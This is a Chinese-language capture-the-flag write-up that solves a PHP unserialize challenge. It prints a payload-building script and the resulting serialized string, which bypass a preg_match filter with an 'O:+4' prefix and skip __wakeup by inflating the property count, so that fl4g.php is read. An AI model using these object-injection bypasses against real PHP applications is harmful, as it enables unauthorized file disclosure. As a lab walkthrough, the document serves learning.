0x00
从本题的标题来看,还是一道反序列化的题目,看起来这道题比较有搞头~
0x01
首先打开环境进入页面
看到的是一大串php代码,我们来分析一下~
首先有一个Demo类,一个私有类型变量$file的值为’index.php’;然后再说一下"__construct()"函数,这个函数是类创建对象(new)的时候会自动调用;接下来是destruct() (两个下划线就不写了,csdn四个下划线负责加粗字体),这个函数是对象被回收的时候调用;wakeup() 函数是反序列化时被自动调用的函数;下一段代码是get方式接收了一个var变量,首先对var进行base64解码,再去用正则匹配字符或字符串,“[oc]”匹配的是两个字母,\d是匹配整形数字,/i是不区分大小写,中间用冒号连接,主要是为了过滤反序列化字符串的前几位,这是需要绕过的~
接下来看一下我们生成payload的代码~
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo('fl4g.php');
$b = serialize($a);
$b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
$b = str_replace(':1:', ':2:',$b);//绕过wakeup
echo $b;
//echo (base64_encode($b));
?>
前面的代码就不说了,$a那里是构造一个对象并传入fl4g.php,也就是传入了__construct() 函数,接下来序列化,然后把序列化的字符串中的类名长度前添上+号,用来绕过preg_match的正则匹配,由于反序列化时自动调用wakeup() 函数,要想读取fl4g.php就不能执行wakeup()函数,所以把表示变量个数的字段修改另一个数字即可绕过,编译后的payload为:
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
不知道有细心的兄弟看出来了没,“Demofile”只有8位,而前面字段却写了10,这是因为private型变量序列化之后会变成“\x00 + 类名 + \x00 + 变量名”形式,顺便拓展一下,protected类型变量会序列化成“\x00 + * + \x00 + 变量名”,由于“\x00”在浏览器显示为空,因此一定要在浏览器输出字符串之前将其进行base64编码~
下面给大家看一下两者的区别:
可以看到正确输出的payload进行base64解码之后可以清晰看到变量名中的类名前后以空字符(暂且这么叫吧)包裹着,也就是“\x00”
回到正题,提交payload,得到flag
0x02
最后一张图的端口换了,由于中途关闭了环境,重新打开后端口会变的,不要在意这种细节~
The end~